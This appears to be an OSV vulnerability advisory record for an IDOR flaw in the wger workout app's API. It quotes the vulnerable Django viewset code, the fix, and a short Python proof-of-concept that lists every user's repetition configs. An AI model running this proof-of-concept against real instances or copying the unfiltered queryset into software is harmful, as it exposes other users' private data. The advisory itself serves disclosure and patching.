{"id":"PYSEC-2026-3423","summary":"wger: IDOR in RepetitionsConfig and MaxRepetitionsConfig API leak other users' workout data","details":"### Summary\n\n`RepetitionsConfigViewSet` and `MaxRepetitionsConfigViewSet` return all users' repetition config data because their `get_queryset()` calls `.all()` instead of filtering by the authenticated user. Any registered user can enumerate every other user's workout structure.\n\n### Details\n\n`wger/manager/api/views.py:499` and `:518`:\n\n```python\n# VULNERABLE\nclass RepetitionsConfigViewSet(viewsets.ModelViewSet):\n    def get_queryset(self):\n        return RepetitionsConfig.objects.all()\n\nclass MaxRepetitionsConfigViewSet(viewsets.ModelViewSet):\n    def get_queryset(self):\n        return MaxRepetitionsConfig.objects.all()\n```\n\nEvery sibling viewset in the same file correctly filters by user. For example, `WeightConfigViewSet` at line 459:\n\n```python\n# CORRECT — how it should work\ndef get_queryset(self):\n    return WeightConfig.objects.filter(\n        slot_entry__slot__day__routine__user=self.request.user\n    )\n```\n\nThe same user filter is present on `SetsConfig`, `RestConfig`, `RiRConfig`, and their Max variants — only `RepetitionsConfig` and `MaxRepetitionsConfig` are missing it.\n\n### PoC\n\n```python\nimport requests\n\nBASE = \"http://localhost\"\nheaders = {\"Authorization\": \"Token YOUR_TOKEN\"}  # any registered user\n\nr = requests.get(f\"{BASE}/api/v2/repetitions-config/\", headers=headers)\nprint(r.json())  # returns ALL users' repetition configs, not just your own\n\nr = requests.get(f\"{BASE}/api/v2/max-repetitions-config/\", headers=headers)\nprint(r.json())  # same — all users' max repetition configs\n```\n\nRegistration is open by default. Sequential IDs allow full enumeration.\n\n### Impact\n\nAny authenticated user can read other users' repetition and max-repetitions configs, exposing workout structure (slot entry IDs, iteration values, operations, step counts, repeat flags, requirements JSON). This is a broken object-level authorization (BOLA/IDOR) vulnerability — the same class of issue as OWASP API1.\n\n**Fix**: Add the same user filter used by every other config viewset:\n```python\ndef get_queryset(self):\n    return RepetitionsConfig.objects.filter(\n        slot_entry__slot__day__routine__user=self.request.user\n    )\n```","aliases":["CVE-2026-27835","GHSA-xf68-8hjw-7mpm"],"modified":"2026-07-13T16:33:33.012492435Z","published":"2026-07-13T14:36:39.470269Z","references":[{"type":"WEB","url":"https://github.com/wger-project/wger/security/advisories/GHSA-xf68-8hjw-7mpm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27835"},{"type":"WEB","url":"https://github.com/wger-project/wger/commit/1fda5690b35706bb137850c8a084ec6a13317b64"},{"type":"PACKAGE","url":"https://github.com/wger-project/wger"},{"type":"PACKAGE","url":"https://pypi.org/project/wger"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-xf68-8hjw-7mpm"}],"affected":[{"package":{"name":"wger","ecosystem":"PyPI","purl":"pkg:pypi/wger"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.1"}]}],"versions":["1.1","1.1.1","1.2","1.2rc1","1.3","1.4","1.5","1.6","1.6.1","1.7","1.8","1.9","2.0","2.1"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/wger/PYSEC-2026-3423.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"}]}